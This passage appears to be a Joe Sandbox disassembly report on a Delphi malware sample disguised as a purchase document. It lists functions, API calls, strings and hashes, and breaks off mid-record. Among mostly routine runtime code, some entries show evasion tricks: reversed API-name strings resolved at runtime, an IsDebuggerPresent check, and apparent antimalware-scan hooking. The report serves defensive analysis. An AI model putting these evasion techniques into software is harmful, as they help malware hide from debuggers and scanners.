VarBstrFromBool, xrefs: 02B1D479
VarDateFromStr, xrefs: 02B1D40B
VariantChangeTypeEx, xrefs: 02B1D2AB
VarAnd, xrefs: 02B1D371
VarAdd, xrefs: 02B1D2ED
VarCyFromStr, xrefs: 02B1D421
VarIdiv, xrefs: 02B1D345
VarR8FromStr, xrefs: 02B1D3F5
VarBstrFromCy, xrefs: 02B1D44D

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: b443657c2734cd024e7598013f2844046adc9808b9b82cd93c0809a548f52abf
Instruction ID: ab797fb8c09b08b16e4b5de84b03299ad6174d89a9e79b7915815f80c00cded5
Opcode Fuzzy Hash: b443657c2734cd024e7598013f2844046adc9808b9b82cd93c0809a548f52abf
Instruction Fuzzy Hash: 5C4180E3AA830A5B52086B6EB500427FBDED345B503E046DBF884CB384DD74FC518A6E

Function 02B26ED8 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02B26EDE
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02B26EEF
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02B26EFF
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02B26F0F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02B26F1F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02B26F2F
GetProcAddress.KERNEL32(00000000,CoSuspendClassObjects), ref: 02B26F3F

Strings

CoResumeClassObjects, xrefs: 02B26F29
CoInitializeEx, xrefs: 02B26EF9
CoSuspendClassObjects, xrefs: 02B26F39
ole32.dll, xrefs: 02B26ED9
CoReleaseServerProcess, xrefs: 02B26F19
CoAddRefServerProcess, xrefs: 02B26F09
CoCreateInstanceEx, xrefs: 02B26EE9

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 8f5a95351153522a1582fba12d6dd480a43677f41fb71cb39ff725e988e19850
Instruction ID: a25fb6b2bde3ef0bcc12d3f4fc15160cb17dd42138a1a575ed5fffbaa3f07075
Opcode Fuzzy Hash: 8f5a95351153522a1582fba12d6dd480a43677f41fb71cb39ff725e988e19850
Instruction Fuzzy Hash: E8F050F0A8A351BDBF00FB745CC18AA375DAF246443401CD6F91B56556FB75D8188F10

Function 02B12530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02B128CE

Strings

7, xrefs: 02B126A1
An unexpected memory leak has occurred. , xrefs: 02B12690
Unknown, xrefs: 02B1278C
String, xrefs: 02B127A1
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B12849
The unexpected small block leaks are:, xrefs: 02B12707
, xrefs: 02B12814
Unexpected Memory Leak, xrefs: 02B128C0
bytes: , xrefs: 02B1275D

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 903978b729aacb5ddda16b82b3b9124eaf4e57fbd2b33411e07235d969c7761f
Instruction ID: 5507c5600d56c3f15398d43084f1c377e7a5ebc66945d8ed52f2b813e81388f0
Opcode Fuzzy Hash: 903978b729aacb5ddda16b82b3b9124eaf4e57fbd2b33411e07235d969c7761f
Instruction Fuzzy Hash: 04A1D230A042B88BDF21AA2CCC84B99B7E5EF09350F9441F5ED49AB386CB7599C5CF51

Function 02B1252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

7, xrefs: 02B126A1
An unexpected memory leak has occurred. , xrefs: 02B12690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B12849
The unexpected small block leaks are:, xrefs: 02B12707
, xrefs: 02B12814
Unexpected Memory Leak, xrefs: 02B128C0
bytes: , xrefs: 02B1275D

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: 99f57f3881e2a15a6eef4d32ec7501292bea8005034faeda27033fbad7b4e4fb
Instruction ID: bae71f51e1f4e8534cbb57ed49cab5ffccd1a85b2b893d872a0a95acdb38912b
Opcode Fuzzy Hash: 99f57f3881e2a15a6eef4d32ec7501292bea8005034faeda27033fbad7b4e4fb
Instruction Fuzzy Hash: C571B130A042B88FDF21EA2CCC84BD9BAE5EF09744F9041E5D949EB285DB758AC5CF51

Function 02B1BDC0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02B1C08B,?,?,00000000,00000000), ref: 02B1BDF6

Part of subcall function 02B1A7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

Strings

AMPM, xrefs: 02B1C00A
:mm:ss, xrefs: 02B1C046
mmmm d, yyyy, xrefs: 02B1BEF2
:mm, xrefs: 02B1C029
AMPM , xrefs: 02B1C019
m/d/yy, xrefs: 02B1BEC5

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: b8227e90d2a097cfddd5d19b250c711e8ca5b5275bdc34d7432c15379972680e
Instruction ID: d14148c337e30014d83076611864d3586be67db5fcd1728b496b6ca07752be80
Opcode Fuzzy Hash: b8227e90d2a097cfddd5d19b250c711e8ca5b5275bdc34d7432c15379972680e
Instruction Fuzzy Hash: EA612135B401489BDB00EBA4D894B9F7BBBDF88700FD098F6E1019B645DA39EA06DF51

Function 02B2AFE0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2B000
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02B2B017
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B2B0AB
IsBadReadPtr.KERNEL32(?,00000002), ref: 02B2B0B7
IsBadReadPtr.KERNEL32(?,00000014), ref: 02B2B0CB

Strings

KernelBase, xrefs: 02B2B012
LoadLibraryExA, xrefs: 02B2B00D

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 5879f9bec06d05b45b446c89e24d0ebea646dde06d61af14613575026d47e791
Instruction ID: f155cd0650f8b316ac0a53285981359ab5518f0d306c32bfe56e2cbf3bc9e26f
Opcode Fuzzy Hash: 5879f9bec06d05b45b446c89e24d0ebea646dde06d61af14613575026d47e791
Instruction Fuzzy Hash: 60317671A40315BBDB21DB68CC85F9E77A8FF05358F044691FA68D72C1DB34A948CBA4

Function 02B1435C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?,02B967C8,?,?,02B3E7A8,02B165B1,02B3D30D), ref: 02B14395
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?,02B967C8,?,?,02B3E7A8,02B165B1,02B3D30D), ref: 02B1439B
GetStdHandle.KERNEL32(000000F5,02B143E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?,02B967C8), ref: 02B143B0
WriteFile.KERNEL32(00000000,000000F5,02B143E4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B14423,?,?), ref: 02B143B6
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02B143D4

Strings

Runtime error at 00000000, xrefs: 02B1438E, 02B143CD
Error, xrefs: 02B143C8

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: cea0da9495ffe2cee9e62574b311271e22c32437dfbb118a1ebc825fb3201102
Instruction ID: bef5d682c9f2e70c7491bc5fa255f4bb0a3e19e2733ebf28f773ca4da8d8f5ac
Opcode Fuzzy Hash: cea0da9495ffe2cee9e62574b311271e22c32437dfbb118a1ebc825fb3201102
Instruction Fuzzy Hash: D1F02470AE4344B5FB10A2A47D46F59737C9B04F61FD08AE6F364A60D087F080D58B22

Function 02B1AEC4 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02B1AD3C: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B1AD59
Part of subcall function 02B1AD3C: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B1AD7D
Part of subcall function 02B1AD3C: GetModuleFileNameA.KERNEL32(02B10000,?,00000105), ref: 02B1AD98
Part of subcall function 02B1AD3C: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B1AE2E

CharToOemA.USER32(?,?), ref: 02B1AEFB
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF18
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF1E
GetStdHandle.KERNEL32(000000F4,02B1AF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF33
WriteFile.KERNEL32(00000000,000000F4,02B1AF88,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B1AF39
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02B1AF5B
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02B1AF71

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: c1956d04ce415b48ca40b9995400291ce6f2dc11074df42446f64bc6b1b1ee83
Instruction ID: cd67eec1a3a1098d4bf84476c16d8bbd776bc182aef4047e66fea2fae9599612
Opcode Fuzzy Hash: c1956d04ce415b48ca40b9995400291ce6f2dc11074df42446f64bc6b1b1ee83
Instruction Fuzzy Hash: 6C1157B2949200BEE200FBA4CD84F9B77EDAF44700FC04AA5BB44D70E0DA75E9048B62

Function 02B1E58C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B1E625
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B1E641
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02B1E67A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B1E6F7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02B1E710
VariantCopy.OLEAUT32(?,00000000), ref: 02B1E745

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: a3cc6e153ce983e7b2c7c9f98c5c4049d16f7b45067a4cf59daf37eb1b059021
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: F351F8759012299BCB26DB58CC84BD9B3BDAF49300F8045E5EA08E7211DB34EF858FA5

Function 02B13598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B135BA
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02B13609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B135ED
RegCloseKey.ADVAPI32(?,02B13610,00000000,?,00000004,00000000,02B13609,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B13603

Strings

FPUMaskValue, xrefs: 02B135E4
SOFTWARE\Borland\Delphi\RTL, xrefs: 02B135B0

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 7a4199660225e6d192260c5b2933bcfd77c09450245ddb29fc1b7a68b430ed62
Instruction ID: 1c8feb75da51fdae4d5dbbc4daf5c7511bdc75fdfd5cd9d1bc68a892e1d899d5
Opcode Fuzzy Hash: 7a4199660225e6d192260c5b2933bcfd77c09450245ddb29fc1b7a68b430ed62
Instruction Fuzzy Hash: 1C01B575A54218BAEB11DF908D02BBD77ECDB08B00F9005E2BA04D7680F6B4A610CA59

Function 02B28274 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
GetProcAddress.KERNEL32(?,?), ref: 02B282D9

Strings

sserddAcorPteG, xrefs: 02B2828F
Kernel32, xrefs: 02B282BC

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 56a3bccbbfef41f93ee2f5fb767c26ee062542e698b132604680a639d86f7116
Instruction ID: fefa0f00f46704f3d8e6587eaa5a468e34159a77987ba8ebfc0d3ee2de320403
Opcode Fuzzy Hash: 56a3bccbbfef41f93ee2f5fb767c26ee062542e698b132604680a639d86f7116
Instruction Fuzzy Hash: 200162B5654304AFEB00EBA4DD41E9EB7FEEB48B10FA1C4E0F904D7604DA70A905DA28

Function 02B1AA50 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B1AAE7,?,?,00000000), ref: 02B1AA68

Part of subcall function 02B1A7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02B1AAE7,?,?,00000000), ref: 02B1AA98
EnumCalendarInfoA.KERNEL32(Function_0000A99C,00000000,00000000,00000004), ref: 02B1AAA3
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02B1AAE7,?,?,00000000), ref: 02B1AAC1
EnumCalendarInfoA.KERNEL32(Function_0000A9D8,00000000,00000000,00000003), ref: 02B1AACC

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: c25de21866a3faed2c5c329f67eb67aaee1271a9e5c2862483b33f87f09f3b7c
Instruction ID: 4600b78ba860fbead209e29b526e038162604ca901d989cbafc064485c8b12db
Opcode Fuzzy Hash: c25de21866a3faed2c5c329f67eb67aaee1271a9e5c2862483b33f87f09f3b7c
Instruction Fuzzy Hash: 5201F2B16116446FF612BA64CD11BAF776DDB81710FD101F0F510E66D8DA75AE00CA64

Function 02B1AB00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02B1ACD0,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02B1AB2F

Part of subcall function 02B1A7C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B1A7E2

Strings

yyyy, xrefs: 02B1AC25
eeee, xrefs: 02B1AC3E
ggg, xrefs: 02B1AC15

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f45b332ebce2660b73673d088c6c997b01d70f6097ee09a4abaa24bf8f3c7acd
Instruction ID: ee8bb3042f577d2e0c7255a6f09aca5ea51ad736c6efaadc0f55119a3c858ffe
Opcode Fuzzy Hash: f45b332ebce2660b73673d088c6c997b01d70f6097ee09a4abaa24bf8f3c7acd
Instruction Fuzzy Hash: F6419DB17055484BDB11EBB888906BFB3FBEF96300BE445E6D452C3394EB24F905CA65

Function 02B281CC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B2823C,?,?,00000000,?,02B27A7E,ntdll,00000000,00000000,02B27AC3,?,?,00000000), ref: 02B2820A

Part of subcall function 02B28274: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B282FC,?,?,00000000,00000000,?,02B28215,00000000,KernelBASE,00000000,00000000,02B2823C), ref: 02B282C1
Part of subcall function 02B28274: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B282C7
Part of subcall function 02B28274: GetProcAddress.KERNEL32(?,?), ref: 02B282D9

GetModuleHandleA.KERNELBASE(?), ref: 02B2821E

Strings

AeldnaHeludoMteG, xrefs: 02B281E5
KernelBASE, xrefs: 02B28205

Memory Dump Source

Source File: 00000000.00000002.1587499429.0000000002B11000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B10000, based on PE: true

Associated: 00000000.00000002.1587450312.0000000002B10000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1587790869.0000000002B3E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002B97000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8B000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1588336495.0000000002C8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b10000_PURCHASE REQUIRED DETAILS 000487958790903403.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: 779f5c99506f10f5272cd8195748eb5907a2bb9cf168b3c7e574ffa04f13ef2e
Instruction ID: bf39e8ac72baaec92e9f5b566a9fd28435be79624ed916c4835548d209982002
Opcode Fuzzy Hash: 779f5c99506f10f5272cd8195748eb5907a2bb9cf168b3c7e574ffa04f13ef2e
Instruction Fuzzy Hash: C4F096B1A54704AFEB00EFB4DD01959F7FDE749740B9188E0F804D3620DA34AE149D35

Function 02B2F6E8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02B2FAEB,UacInitialize,02B97380,02B3B7B8,OpenSession,02B97380,02B3B7B8,ScanBuffer,02B97380,02B3B7B8,ScanString,02B97380,02B3B7B8,Initialize), ref: 02B2F6EE
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02B2F700

Strings

IsDebuggerPresent, xrefs: 02B2F6FA
KernelBase, xrefs: 02B2F6E9

Memory Dump Source

